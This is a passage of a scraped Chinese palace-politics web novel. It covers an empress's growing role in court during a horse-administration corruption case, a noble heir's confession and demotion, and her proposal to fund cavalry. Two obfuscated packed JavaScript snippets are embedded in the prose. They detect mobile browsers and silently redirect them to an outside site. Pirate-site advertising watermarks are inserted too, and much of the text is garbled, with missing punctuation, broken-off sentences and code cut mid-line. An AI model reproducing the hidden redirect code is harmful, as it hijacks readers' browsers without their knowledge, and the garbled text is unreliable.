在未来很长一段时间里,她都会这么默默坐在陛下身边,旁听他与朝臣奏对,一点点熟悉朝政,一点点发表自己的政见,一点点学会如何运用权力、执掌权力。 *** 朝臣们明面上不敢反对,心底还是颇有不满的。但很快,他们就没心思理会霍皇后的事情了。 半个月后,吏部、刑部和都察院联名上折,弹劾大燕十七个监牧区存在严重贪污渎职的情况。 这道折子,揭开了景元二十三年最大的一起案子。 十七个监牧区背后,牵扯到的大大小小官员多达数百人,一时间满朝噤声。 有些官员还在被调查,有些官员却已经罪证确凿。 景元帝从禁卫军里点了一批人手。 无锋和靖国公世子郑新觉都 在其中他们各领着自己手下的人马护送朝廷派遣的钦差前往监牧区将罪证确凿的官员拿下。 这些被选中的钦差大都是刑部、吏部和都察院出来的人。 但也有例外。 身为公主师的崔原也被点为了钦差。 这道任命让崔原十分意外不过很快他就明白了。 因为就在任命诏书下来的次日他如往常那般去天章阁给两位公主上课。 刚一上完课就见到了霍皇后派来的内侍。 “崔翰林娘娘有请。” 内侍将崔原带到了距离天章阁不远的御花园。 霍翎正坐在凉亭里赏花。 等崔原行完礼霍翎问:“崔翰林可知本宫找你过来所为何事?” 崔原垂下眼眸不敢直视霍翎:“娘娘可是为了两位公主的课业?” 霍翎颔首:“两位公主都很喜欢崔翰林的课。本宫问过两位公主她们不想换掉你这位老师。” “但你此去燕北短则数月长则半年总要有人代你上一段时间的课。” 崔原正琢磨着该找什么人来代课就听霍翎道:“你先下去吧。人选之事在你离京前安排好就行不必立刻告知本宫。” 崔原拱手应是离开皇宫回到了崔府。 刑部尚书崔明是崔原的大伯崔原还未成亲就一直借住在崔府里。 问过下人知道崔明这会儿正在书房崔原连忙去找了崔明。 “伯父娘娘是什么意思?” 崔明抚须:“娘娘先是将你点为公主师如今更是派你去燕北。这是在向你或者说 崔原显然也是想到了这一层。 他是清河崔氏这一代里比较出色的子弟未来前途不会差但以他如今的地位还不值得皇后娘娘费心拉拢。 皇后娘娘所看重的是他身后的崔家。 “那娘娘突然问我要人选……” 崔明想了想道:“你将未来几个月要讲的内容简单整理出来我代你去给两位公主上课吧。” 崔原先是一怔旋即就明白了皇后娘娘为什么不急着要人选。 ——皇后娘娘是要他回府来找伯父商量。 “侄儿明白了。” 崔原退出书房命下人帮他收拾远行的行李。他自己则是一边忙着交接翰林院的事务一边将未来几个月的课业简单整理出来。 赶在离京前崔原又进宫上了一堂课。 上完课后他对两位公主说了代课一事还拜托两位公主将此事转述给霍翎。 霍翎知道这件事情后也没说什么。 这是一种无需言明的政治默契。 崔家势大很难为她所用。只要愿意接受她的示好不与她为敌就行。 随着钦差们一个个离开京师吵闹了两个多月的朝堂再次宁静下来。但所有人都知道这种宁静只是暴风雨来临前的假象。 柳国公府柳国公再次叫来柳世子:“你老老实实告诉我你到底收了对方多少银两。” 问完以后柳国公就知道自己问错话了。 收了多少银两不是最重要的。 最重要的是他这个儿子收了钱后帮对方做过什么。 柳世子知道自己不能再隐瞒了苦着脸将事情都说了一遍。 那位每年都会给他孝敬的是永昌府监牧区监牧使苏涛。 监牧使是从七品官职不高职权却极大。 苏涛搭上他的线以后他只帮苏涛做过两件事一件是压下了御史对苏涛的弹劾一件是帮苏涛和地方长官牵桥搭线。 有了柳世子的示意那位地方长官给苏涛大开方便之门对苏涛兼并牧区周围良田的行为睁一只眼闭一只眼。 柳国公安静听着突然问:“苏涛情况如何?有没有写信来向你求助?” 柳世子道:“他给我写过一封求助信说自己被盯上了但那会儿我在行宫没能及时给他回消息。” 柳国公的头往后一靠长长吐出一口浊气整个人仿佛瞬间憔悴了五岁:“有御史弹劾过苏涛而且兼并良田动作太大 他缓缓睁开眼睛看着面前的柳世子声音沉重:“你今晚就写请罪折子。” 作者有话要说 第 68 章 为臣者的分寸。 柳国公这话,无疑是让柳世子直接认罪。 柳世子面色惨白,嘴里一个劲念叨着“何至于此”。 柳国公却知道,这才是最好的做法。 陛下和文盛安这些年一直试图削弱勋贵势力,柳国公府身为勋贵之首,不被陛下抓住错处,陛下还不能拿他们怎么办。 要是被抓住了错处…… 自己认罪,既能为自己保留几分体面,又能在被动中掌握几分主动,不至于被杀个措手不及。 “要是等到其他人弹劾你,你再上书请罪,就是将自己的身家性命交到上位者手里,等待上位者裁决了。” 看柳世子还有些不情愿,柳国公斩钉截铁。 “别忘了,宫里还有霍皇后。” 柳世子一个激灵,顿时不纠结了:“是,儿子这就去写。” 柳国公摆手:“去吧,写好了拿给我看看。” 柳世子花了半个多时辰,写了一道请罪折子。 柳国公看过后,提笔为柳世子润色。 他将改过的折子丢回给柳世子,无力道:“重新去誊抄一遍吧。” 翌日上午,这道折子就到了景元帝手里。 景元帝看完以后,神情没什么变化,只是将折子递给了一旁的霍翎。 霍翎看了个开头,低声骂道:“柳国公这只老狐狸,也太当机立断了。” 景元帝笑着摇头:“这朝中,论知情识趣,审时度势,柳国公确是个中翘楚。” 霍翎从折子后抬起眸来:“陛下这话,听着不像是在夸奖。” 景元帝道:“你再往下看看就知道了。” 霍翎飞快扫完折子上的内容,也算是明白景元帝为什么会这么说了。 这道请罪折子,毫无疑问,是柳世子写的,也是由柳世子亲自送进宫来的。 但霍翎和景元帝都知道,这背后是柳国公的手笔,真正操刀的人也是柳国公。 折子的内容,很有些避轻就重。 柳世子与监牧使苏涛认识,还收过苏涛的贿赂; 靠着柳世子的关系,苏涛才能和地方长官搭上线…… 这些一查就知的事情,柳世子全都坦白了。 到了具体的罪责,譬如在压下御史弹劾苏涛的折子 时,柳世子表示,自己并不清楚折子上的内容,是遭了苏涛的蒙蔽。 再譬如苏涛和地方长官搭上线后,具体做了些什么,柳世子远在京师,也不知道。 左一句不清楚,右一句不知道,能摘的地方,都把自己摘得干干净净。 折子最后,柳世子还表示,他会尽快将收受的贿赂交还给户部,其余的,任凭陛下发落。 霍翎将折子放到一边:“这事,确实不太好办。” 柳世子的动作实在是太快了。 如果是他们先拿住苏涛,再从苏涛那里审问出柳世子的罪责,那就能用苏涛的口供拿捏住柳世子。 但现在,钦差才刚出京,柳世子就先认罪了。 马政贪污一案,上上下下牵扯到的官员足有数百人。 柳世子的罪责,可比苏涛这些人的罪责轻多了。他的认罪态度又如此之好,要是惩罚太过,朝中势必人人自危。 “陛下打算怎么做?”霍翎问景元帝。 景元帝没有马上说出自己的决断:“你呢。” “你觉得应该如何惩治,才能让朝臣心服?” 霍翎从他话中听出了几分考教的意味。 她垂下眼眸,斟酌片刻,才说出自己的想法:“要依着臣妾的性子,柳世子好不容易落到臣妾手里,臣妾肯定不会轻飘飘揭过此事。” 景元帝被她说得一笑。 霍翎也笑了下,继续道:“但事关朝堂,臣妾当然不能由着自己的性子胡来。” “这道折子,不如就交给吏部、刑部和都察院那边。” “让他们先好好查验一下,柳世子在折子上所言,是否属实。” 总不能柳世子说什么,他们就信什么。 该走的章程,一个都不能少。 “有了柳世子的这道折子,监牧使苏涛还有那位地方长官都可以直接拿下了。” 鹅小说更新,记住域名qiexs?(请来企 鹅小说 看最新章节 完整章节) “到时稍稍透点儿口风给苏涛,说不定苏涛在气急败坏之下,还能让我们有其它意外收获。” 先等一等,查一查。 就算不能一口气杀死猎物,也要让他成为惊弓之鸟。 景元帝颔首:“那就照着你的主意来。” 柳世子的这道折子,确实让不少人感到意外。 但意外过后,该查的案子还是要继续查。 柳世子左等右等,都没等到陛下的反应。 柳国公道:“急什么。你先把那笔银子送去户部,然后安心等着就是。我还在呢。” 柳世子听到这话,果然安心不少。 看着匆匆离去的长子,柳国公心下长叹。 时至今日,柳国公府依旧是勋贵之首,门庭煊赫,无数人依附投靠。 他在一日,柳国公府的辉煌就能延续一日。 等他不在了,渊晚那孩子又没能顺利继位的话…… 柳国公心底的忧愁无处叙说,眼下,所有人的目光都落在这场轰轰烈烈的马政贪污案上。 有天子手令,有禁卫军护送,前往各处的钦差都顺利拿下了犯人。 在当地官员的配合下,钦差直接留在当地审理相关案件。 每查明一起案子,就会有一道结案折子快马送回京师。 折子先过刑部,再由刑部整理后送入御书房。 文盛安、崔明和陈御史已经习惯了每次来御书房时,都能在陛下身边看到皇后娘娘。 更让他们无奈的是,其他官员来御书房禀报时,皇后娘娘极少在场。 但只要涉及马政一案,她就从不回避。 不仅不回避,有一回,陛下看完永昌府监牧区监牧使苏涛的结案折子后,随手递给了皇后娘娘。 皇后娘娘十分自然地接了过来。 陈御史坐在底下,眼珠子都快瞪出来了,让霍翎想忽视都忽视不了。 霍翎打开折子,一边翻阅,一边点了陈御史的名。 “陈御史一直盯着本宫看,是本宫身上有何不妥吗?” 不管是不是事出有因,身为外臣,一直盯着皇后看,就是失礼。 陈御史连忙起身告罪:“臣并非有意冒犯,还请陛下和娘娘恕罪。” 霍翎没理他,继续看着折子。 陈御史保持着行礼的动作,没敢动。 少许,霍翎合上折子,朝景元帝笑了一下:“苏涛身为监牧使,不仅贿赂上官,兼并良田,还监守自盗,将朝廷好不容易养出来的马拿出去贩卖,年年虚报马匹数目,从中获利过十万两。” “这样的人,当为首恶,死不足惜。” “陛下以为呢?” 听到这话别说陈御史了就连文盛安和崔明都忍不住对视了一眼。 皇后娘娘已经在御书房里旁听过许多次。 但之前的每一次她都不会在君臣议事时开口说话等到议事结束才会招呼他们用些茶水点心。 即使他们知道皇后娘娘明面上没有发表看法私底下也有可能会向陛下进言但皇后娘娘摆出来的姿态还是很让人安心的。 可这一次皇后娘娘不仅在议事中途翻看了折子还当着他们的面发表了看法…… 陛下会作何反应呢? 景元帝一点儿也不在意三位重臣的心情想了想道:“光是一死还不足以谢罪。让钦差抄没他的家产这样也能勉强补回他对朝廷造成的损失。” 文盛安和崔明又对视了一眼没有吭声。 霍翎像是才发现一般:“陈御史怎么还站着?” 陈御史心下苦笑:“陛下和娘娘没有发话臣不敢坐下。” 景元帝道:“行了坐吧下不为例。” 陈御史挪了挪站麻的腿小心坐了回去。 这对于景元帝来说只是议事中的一段小插曲罢了。 要是其他人的结案折子景元帝未必会顺手递给霍翎。 但当初他让霍翎看了柳世子的请罪折子霍翎顺势提出彻查苏涛此人。 如今彻查结果出来了霍翎又正好坐在自己旁边景元帝当然是顺手递给了她。 可这一幕落到文盛安三人眼里意味瞬间不同了。 霍翎垂下眼眸将三人的反应尽收眼底。 景元帝递折子给她是随手为之。 她训斥陈御史道出对苏涛的判决却是顺势而为在三人面前立威。 果然一瞧见景元帝的态度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221918|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小说更新,记住域名qiexs.com?(请来企鹅 小说 看最新章节 完整章节)文盛安和崔明都哑了。 等到议事结束三人退下景元帝才问霍翎:“你突然发作陈御史是他惹你生气了?” 霍翎在御书房的转变三人注意到了景元帝当然也注意到了。 只是当着三人的面景元帝没有开口询问。 霍翎道:“不是生气只是不喜欢他们对臣妾的猜疑和严防死守。” “那道结案折子 经了许多人的手,刑部的人看过,文尚书看过,陈御史看过。怎么到了臣妾这里,看一眼都不行? “臣妾不仅要看,还要当着他们的面发表看法,让他们不满还无计可施。 这仿佛在和朝臣赌气的话语,让景元帝一笑。 他将茶水递给霍翎:“他们惯来如此。来喝口茶。 霍翎喝了一口水,又拿起了苏涛的结案折子。 至于其它几本折子,她是碰也没打算碰。 “臣妾知道自己该做什么,不该做什么,能做什么,不能做什么。 “但如果朝臣试图教臣妾何为皇后的分寸,臣妾会先让他们知道,什么是为臣者的分寸。 这件事情最终并未掀起任何风浪,陈御史三人回去以后,都仿佛遗忘了这件事情般。 霍翎给他们吃了个教训后,也没打算一再挑衅三人。大多时候,她还是像以前一样,坐在景元帝身边旁听,没有胡乱翻动奏折,更不会突然插话。 这场轰轰烈烈的马政贪污案,从景元二十二年三月何泰伏法起,一直持续到景元二十三年六月,最后一位钦差平安返回京城,就算是查得差不多了。 但它所造成的影响,才刚刚开始。 包括苏涛在内,共有六名监牧使被问斩,抄没的家产全部充归国库。 还有七名监牧使,罪责较重,抄家流放。 这些人的官职都不高,家世也不显赫,但从他们家中抄来的各种金银宝物、田产商铺,折算下来,竟有百万两之数。 除了监牧使外,还有大大小小几十名官吏也是罪证确凿。 该抄家的抄家,该流放的流放,该贬官的贬官。 对柳世子的判决也终于下来。 柳世子原本是在工部任右侍郎,如今被贬去成都府任通判。 这一贬,柳世子就从正三品被贬为了正五品。 看似贬得不多,但一来,他这是从京官贬为了地方官,远离了权力中枢。 二来,通判是知州的副手。 而如今的成都府知州,正是景元帝的人。 最致命的是,当初因为立后一事惹恼了景元帝,柳国公就让二儿子和三儿子都上书辞了官。 如今大儿子也被贬出京,偌大柳国公府 除了柳国公这个兵部尚书外就只剩下几个官职不高的孙子支撑着。 虽然没有伤及根基但如今的柳国公府确实不复霍翎刚进京时那般声势浩荡门庭煊赫。 消息传回府里柳世子夫人受不住这个打击病倒了。 柳世子好生安慰了妻子一番又让人去给端王府送信。 端王与端王妃关系再不睦也不能眼睁睁看着岳父被贬、岳母病倒还无动于衷。 所以得到消息后端王赶紧带着端王妃和二儿子一起上门。 柳世子看到他们神情很平静:“当初我上了那道请罪折子就已经知道会有今日。阿乔你好好劝劝你母亲让她想开一点。” “只要柳国公府还在你祖父还在我很快就能回京了。” 端王妃强忍泪水连连点头带着二儿子去后宅侍疾。 端王对柳世子道:“这件事情本王没能帮上什么忙。” 柳世子出事后他也试着奔走过但收效甚微。 柳世子也是无奈:“王爷已经尽力了。别的事情我都可以放心唯独有一件事情始终挂念不下。” 端王道:“岳父请说。” “是关于阿乔的。”柳世子叹息一声自陈不是“这孩子被我和她娘宠着长大 “我说这些不是希望王爷对阿乔低头而是希望王爷能多包容阿乔一些。” “渊晚那孩子在宫中处境艰难她在府中守着渊康心里也很苦。” 儿女都是债啊柳世子现在深切体会到了他爹的心情。 作者有话要说 第 69 章 打造骑兵的两个条... 当初,柳国公府是主动退让,主动蛰伏。 如今,柳国公府已是不得不退让,不得不蛰伏了。 柳世子拉着端王聊了一通,又好好劝了端王妃一回,最终,他也只能在心底默默叹息。 端王膝下的两个孩子都是阿乔所出。 就算不看在柳国公府的面子上,只看在两个孩子的份上,端王也会保留阿乔的尊荣。 至于其它的,就是他们夫妻之间的事情了,他这个做爹的、做岳父的也实在帮不上什么忙。 在判决下达的一个月后,柳世子交接好手头的公事,离京赴任。 柳国公府世代尊荣,姻亲遍布,柳世子离京那日,来洛水河边送他的人着实不少。 不过来送他的人再多,依旧难掩落寞。 皇宫里,崔弘益还将此事当做趣闻,拿来讨霍翎开心。 霍翎只是笑了笑。 权力场上,风光与落寞都是一时的,只有笑到最后,才能成为最终的赢家。 这是柳国公府教给她的道理。 “娘娘,饲料来了。” 无墨捧着一小碟饲料走了过来。 霍翎这会儿正在月漾湖边散心。 时值八月,月漾湖中的荷花都凋零了,只有长风送来桂香阵阵。 霍翎沿着湖边逛了一会儿,看到湖面上不时有锦鲤游动的身影,就让人去取了些喂鱼的饲料。 她从无墨手里接过碟子,随意洒了一把饲料进湖里。 “我第一次见陛下,就是在这里。” “转眼间,已经两年多了。” 从她进京,再到正式入主中宫,中间过去了五个月。 入宫以后,她又花了半年时间梳理六宫人事。 再之后,何泰一案正式拉开了马政贪污一案的序幕。 此案前前后后一共花了一年零三个月,她陪在景元帝身边,看着这一案牵扯进越来越多官吏,期间也给景元帝提过不少意见。 有几个判决还是由她亲自下的。 无墨站在霍翎身后,看着原本还隐在湖水里的锦鲤,都游出水面争抢鱼饵,感慨道:“时间过得好快啊。” 霍翎将碟子里剩的那些饲料,都倒进了湖里:“陛下在哪儿?” 景 元帝这会儿正在御书房里接见户部尚书。 马政贪污一案该审的官员都审得差不多了眼下朝廷在忙的就是从涉案官员那里追回银两。 户部前前后后忙了许久终于将所有的金银财宝、田产地契、商铺府邸都清点整理完毕。 户部尚书来找景元帝一是告诉景元帝这回国库收入了多少银两;二是旁敲侧击问景元帝打算将这笔银子用在哪里。 景元帝翻开折子跳过中间那一大堆详尽的罗列直接看向折子最末尾。 这一案光是收缴上来的现银就超过了两百五十万之数。 即使早有预料但当景元帝真的看到这个数目时还是没忍住气笑了。 “难怪朝廷每年投入大几十万两银子去养马最后养出来的马又差又少。” “原来这些银子没肥了马只肥了养马的人。” 户部尚书垂下头没敢接这话。 景元帝确实是气狠了让户部尚书先回去等消息独自一人坐在御书房里翻看折子。 李满进去问了两次要不要传膳都被景元帝拒绝了。 李满正急得不行远远瞧见皇后的凤辇当即迎了上去。 “哎呦娘娘您来得正好。” 凤辇停下霍翎看到李满这副激动的模样打趣道:“李内侍你这是?怎么瞧见我一副瞧见救命恩人的模样?” “可不是救命恩人嘛。” 李满顺着霍翎的话开了个玩笑这才将前因后果说出来:“今儿上午户部尚书过来找陛下也不知道说了什么陛下到现在都没用膳。娘娘您快去劝劝陛下吧。” 这会儿早就过了用午膳的时间霍翎眉心微蹙 得了霍翎这句准话李满高兴地应了一声让旁边的内侍赶紧去御膳房他自己则留了下来领着霍翎去了御书房。 霍翎进御书房早已无需通传她朝李满比了个手势独自绕过面前的屏风走到景元帝身边。 “陛下在做什么?” 景元帝早就注意到了外面的动静这会儿听见她的声音也不奇怪拉着她坐下:“在看户部呈上来的折 子。 “陛下就是为了它,才没用午膳? “今儿没什么胃口。 霍翎道:“臣妾命御膳房的人重新做了些吃食。陛下没胃口也陪臣妾用一点吧,别让臣妾一个人动筷子。 景元帝笑了下,没有再拒绝:“好。 景元帝说自己没什么胃口,但当清爽开胃的面条入口后,他的食欲也随之回来了,用了大半碗才停下筷子。 看霍翎还在慢慢吃着,他开口道:“别吃了,小心撑着。 两人在一起生活了两年,即使没有刻意观察过,景元帝也很了解霍翎的日常起居。她肯定是用过午膳才来御书房找他的。 霍翎放下筷子,漱了漱口,才问景元帝:“户部的折子上说了什么,居然让陛下不高兴了? 景元帝将折子递给她:“你自己看看。 霍翎看多了账本,对账目十分敏感,大致扫了几眼,就知道景元帝在为什么事情不悦了。 景元帝的怒火原本已消去大半,这会儿又瞧见这道折子,顿时又往上涌了。 “朕早就知道马政里面的问题很多,但不查还好,一查起来,才发现里面的问题远远超出朕的预期。 “这些涉案的官员,官职大都不高,可这个伸一点手,拿个几千两,那个伸一点手,拿个几万两,马政也因此衰败废弛。 他这股怒意压制了许久,这会儿一发作,就发了好大一通火。 看霍翎一直没有说话,景元帝压了压脾气,放缓自己的声音:“吓到你了? 霍翎摇头:“没有。陛下这气又不是冲我来的。 景元帝道:“那怎么不说话? 霍翎道:“认识陛下这么久,还是第一次看见陛下这么生气。 当初景元帝知道端王他们在燕西搞的小动作,知道端王找上她结盟,谈论她的日后时,都是一副面沉如水、不动声色的模样,叫人看不穿他心底的真实想法。 如今这幕,在霍翎看来可是稀罕极了。 景元帝这下气也不是笑也不是,用指骨敲了敲霍翎的额头以示惩戒:“原来是看朕笑话来了。 霍翎抓住他的手指,问:“陛下在气的,应该不只是这笔触目惊心的数额吧。 景元 帝叹息一声:“不错。 霍翎将折子放回原位:“您已经在这里待了大半天了,我陪陛下去外面散散心吧。 两人这一逛,就逛到了御花园。 八月的风已染上了一层凉意,霍翎正在欣赏一朵盛开的菊花,就听到一旁的景元帝突然开口:“马政一事,调查出来的结果触目惊心。 “军政一事呢? “朝廷每年都拨钱去治理黄河水道,但每隔几年,就有一处地方遭了洪灾。 “朕知道黄河难治理,历朝历代都要在上面耗费无数人力财力,可朕又禁不住想,拨下去的钱,到底有多少是用在实处上。 霍翎的手依旧落在花枝上,没有打断景元帝的述说。 景元帝也走了过来,看着她面前那株菊花。 “朕刚登基那几年,意气风发,踌躇满志,也曾暗暗许下誓言,要打压勋贵世家,让寒门子弟也能轻松入仕;要百姓安居乐业,收复燕云十六州,开疆扩土。 “但光是收拾先帝留下的烂摊子,朕就花了十来年。 霍翎侧头去看景元帝,突然就明白了景元帝在气什么。 国朝承平八十年之久,早已积弊重重。有很多问题,景元帝都看在眼里,却一直腾不出手去处理。 当他好不容易收拾好先帝留下的烂摊子,将朝政完全掌握在自己手里时,他却已不再年轻。 “陛下已经做得足够好了。 霍翎出声劝慰:“您是被怒火蒙蔽了情绪,不要想折子上那触目惊心的数额了,您去想想别的。 景元帝也就是在霍翎面前,才能吐露一下心里话。 但他也不是那种一味沉湎于情绪中的人,顺着霍翎的话问:“你和朕说说,朕要想些什么。 霍翎宽慰景元帝的话语,都是言之有物。 她跟着看了那么多本折子,听了那么多次君臣间的谈话,对于此案的相关细节十分清楚。 “那些贪赃枉法的官员都伏法了;尸位素餐的,都调离了;表现无功无过的,依旧留任。各地监牧区如今已是上下清明。 “我听文尚书说,在吏部的审查里,有几个官员的表现很突出,是可用之才。如今上面的位置空了出来,这些能用的人都可以着手进行提拔 。 “那几个监牧使的血还没干透呢,有他们的前车之鉴在,想必短时间内,也没人敢在马政一事上动什么歪心思。 “有这样好的官场环境,有这些得力的官吏,假以时日,各地监牧区都会传来好消息,养出来的马匹数量也会变得十分可观。 “这还只是马政方面的好处。 “陛下不是从吏部、刑部、都察院调派了一大批年轻官员到地方查案吗,其中也有几个表现不俗的,正好趁着这会儿朝中空出了不少好位置,把他们都安排上。 这件事情,景元帝确实跟霍翎提过一次,但没想到她还记得。 景元帝问:“你觉得哪几个人表现不俗? 霍翎思索片刻,道出五个名字:“这几人都是文尚书提到过比较多次的。 景元帝想到了吏部前两天呈上来的叙功名单。如果他没记错的话,这五人的名字都在前列。 而排在叙功首位的,是都察院一个名叫丁景焕的年轻御史。 就在这时,霍翎也道:“五人中,臣妾印象最深刻的,是丁景焕。 丁景焕身为都察院的人,不像吏部和刑部的人明察,他用的是暗访。 他奉命前往安平府后,就伪装成了一个买马的商贩,靠着这个身份,从买卖马匹的交易市场开始查起,顺藤摸瓜,将安平府监牧区所有涉事人员一网打尽。 听说朝廷派去的钦差抵达安平府,带着禁卫军破门而入时,丁景焕正坐在贵宾席位上,与那位监牧使称兄道弟,言笑晏晏。 长袖善舞,有勇有谋,霍翎只听文盛安提到过一次,就将这人记下了。 景元帝认同道:“丁景焕确实出色,他也是朕很看好的人。 霍翎心念一动,突然道:“如果陛下什么时候打算接见这些人,可以让臣妾也一起去见识见识吗? 这段时间以来,像文盛安、崔明这样的高官,都习惯了她在御书房里听政。 他们不会忤逆陛下的心意,也不会出手掣肘她,却也不会站队到她身后,为她摇旗助威。 一个比一个滑不溜手。 只有一些中低层官员,通过邱鸿振、无锋和郑新觉那边来向她示好。 那些主动投靠的中低层官员良莠不一,她人 在宫中不好一一辨明只能让邱鸿振他们看着办。 但现在她提到的五人尤其是这个丁景焕才能已经得到了各方认可。 而且他们的年纪都在二三十之间出身也不算高没什么勋贵世家的背景值得进行拉拢。 景元帝也没太将这件事情放在心上见她感兴趣就答应了下来。 霍翎说完这五人又继续道:“除了臣妾先前所说的种种此案最大的收获就是那笔银两。” 要知道大燕每年国库的收入也就是一千万两左右。 这一千万两看着多分到各个衙门、各个地方就显得杯水车薪了。 如今抄家所得的田产商铺处理起来要花些时间但那两百五十万两现银已经足够他们做很多事情了。 景元帝的心情已经恢复如初听她说起银两的事情平静道:“户部尚书今早过来问朕打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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霍翎说了一声突然又想起什么连忙拉住景元帝的袖子:“陛下答应给周尚书的三十万两也就算了他要是再求别的您可千万别急着应下。” “还有其它衙门您也别急着应下。” 景元帝哑然失笑:“朕知道。” 这笔钱看着多但要是谁求到他面前他都应下估计不到半天功夫就全给应出去了。 霍翎道:“臣妾也就是多叮嘱一句。您脾气好说不定听他们哭穷着哭穷着 景元帝调侃:“要是他们在朕面前哭穷朕就告诉他们这笔钱该怎么用朕还要回去和皇后好好商量一番。” 霍翎明知道他是在开玩笑还是被逗笑了松开他的袖子。 直到御辇消失在视线里霍翎才回了凤仪宫。 她正在书房里琢磨着丁景焕几人的事情就见无墨走了进来手里还拿着一封信。 “娘娘燕西那边来信了。” 来信的人是霍世鸣。 燕西和京师相隔数百里通信不便不过霍世鸣每隔两三个月都会给霍翎来一封信与霍翎说一说家中的近况说一说燕西的情况再关心一下霍翎近来如何。 在信的最后霍泽和方氏也都给霍翎留了几句话。 霍翎看完信件随手放到一边打算等明天再给爹爹他们回信。 就在这时霍翎像是想到了什么心中一动又将信件拿了起来目光飞快落到中间位置的某段话上。 这段话里霍世鸣提到了“骑兵”。 羌戎只是依附于大燕而非完全并入了大燕的版图所以羌戎也是有军队的。 霍世鸣就在李宜春身边看到了一股骑兵这让他好生感慨了一番。 …… 霍翎合上信件闭上眼睛慢慢整理着自己的思绪。 自从当年先帝北伐失败耗费无数国力培养出来的两支骑兵覆灭后大燕在很长一段时间里都没有骑兵可用。 想要打造出一支能征善战的骑兵不仅要有好的战马还要投入大量财力。 此前大燕平定羌戎从羌戎那里获得了上万匹精锐战马还有上万匹不能用于作战却能用于后勤补给的良马。 如今朝廷又得了这么大一笔银两。 可以说打造骑兵的两个条件都满足了。 如果朝廷要练骑兵肯定要放在燕西、燕北这种气候苦寒的地方练。 燕北是直面大穆的第一线将骑兵放在那里练未免太不安稳了。 最合适的练兵地方还是燕西。 大燕军中懂得练兵的人不少懂得练骑兵的却不多。 她爹没接触过骑兵但前朝时期霍家先祖一直驻守在燕云十六州到了祖父霍英绍时对骑兵也颇有研究绝对算得上是“家学渊博”。 …… “在想什么呢?” 景元帝的声音从身后传来。 霍翎诧异回头看去:“陛下什么时候进来的?” 景元帝道:“朕进来有一会儿了是你想得太入神没注意。” 霍翎问:“工部尚书走了?” 景元帝笑骂:“那老东西要了三十万两后还不满足 真要一口气给工部拨那么多钱明天其它五部尚书都得轮番来御书房找他喝茶。 霍翎整理了下自己的思路语出惊人:“陛下有没有想过用这笔银子再打造一支骑兵?” 景元帝一怔原本玩笑的神色立刻变得凝重起来。 他垂下眼也意识到了霍翎这个提议的可行之处。 大燕如今也有一支骑兵但在国力可以支撑的范围内即使是不善骑射、不喜军事的景元帝也是希望能多打造一支骑兵的。 半晌景元帝道:“此事事关重大朕还需要好好想想。” 他这个反应让霍翎提着的心放下了一半。 要是景元帝不赞同这个提议肯定就一口回绝了。 如今要好好斟酌就说明他已经心动了。 毕竟练兵是大事不可能三言两语就定下来。 景元帝问:“你怎么会突然想到这个主意?” 霍翎笑道:“陛下不是跟臣妾开玩笑说要和臣妾商量一下这笔银两该如何花吗。” “臣妾回到凤仪宫后刚好收到了我爹写的信。他在信里说自己看到羌戎首领李宜春身边的骑兵后很是羡慕。” “臣妾看到他那些话再想到大燕缺少骑兵这个主意就这么冒了出来。” 作者有话要说 第 70 章 她享受的,是决策... 第70章她享受的,是决策 霍翎年少之时,从霍世鸣口中听到最多的,是“回京师”。 排在“回京师”之后的,是收复燕云十六州。 霍家与燕云十六州的渊源,可以追溯到前朝时期。很长一段时间里,霍家祖祖辈辈都驻守在那里浴血奋战。 “回京师”算是从她祖父开始,霍家三代人的执念;收复燕云十六州,却是霍家数代人的执念。 当然,现在就说什么收复故土,太不切实际了。先帝北伐的时候,手里好歹还有两支骑兵可用呢。 “朕还以为只有各部衙门盯着这笔横财,没想到连你也盯上了。” 听到景元帝这话,霍翎顿时乐了:“臣妾原本还觉得周尚书来得太急太快,现在才知道,周尚书是老成持重,有先见之明啊。” 要钱不积极,态度有问题。 有练骑兵这件事情吊在前面,等明天各衙门的人进宫哭穷时,景元帝肯定不会再轻易松这个口了。 果然,第二天上午,各衙门长官早早来到了宫门外,为谁先进宫面圣吵破了头。 这个说我先来的,那个说我昨天就往宫里递了折子,还有一个说我要做的事情关乎社稷,十万火急。 消息传到景元帝那里,景元帝表示,也别一个个进来了,都一起过来御书房吧。 众臣面面相觑,都不清楚陛下葫芦里卖的是什么药。 怀着期待、忐忑、激动的复杂心情,众臣挽起袖子,清个嗓子,挺直腰杆,做足了打嘴仗的姿态。 工部尚书都能要到三十万两,他们能被那老东西比下去? 好吧,工部尚书动作太快,提前两个月就和陛下打好招呼什么的,实在是太卑鄙、太无耻了。 他们比不过工部尚书,还争不过身边这帮老家伙? 进去通传的内侍很快出来,将众人迎进了御书房。 众人站定一看,皇后娘娘居然也在,微愣过后,纷纷行礼。 这还是第一次,各衙门长官都在的情况下,霍翎出现在御书房里。 霍翎微微一笑,神态自若,示意众人免礼。 景元帝也让众人坐下:“诸位爱卿的来意,朕已经知晓了。” 一听这话,众人也顾不上霍翎了,将饱含期待的视线投向景元帝,盼望着景元帝点名让他们发言。 有些个比较激动的,手已经伸进袖子里,准备把连夜写好的折子掏出来。 景元帝扫视众人一圈,最后却是将目光定格在霍翎身上。 “关于这笔钱的用途,皇后也给朕出了个主意,诸位不妨先听听皇后的主意,再议其它。” 众人一惊,万万没想到事到临头会杀出个皇后娘娘。 霍翎也不含糊,将训练骑兵之事说了一遍。 柳国公这回进宫,原本是打算找景元帝商量一下研制新式弓 弩的事情,听到霍翎的话后,实在没忍住,抬头看了眼霍翎。 各部门长官一窝蜂涌进皇宫里,确实是因为衙门内部有许多需要用到钱的地方。 但这些都不是急用的。 真要有急用、大用,国库的钱再紧张,户部都会想办法把这笔钱拨下去,景元帝也不会置之不理。 所以各衙门长官这回进宫哭穷,主要是来碰碰运气的。 万一哭着哭着,就像工部一样哭到了呢。 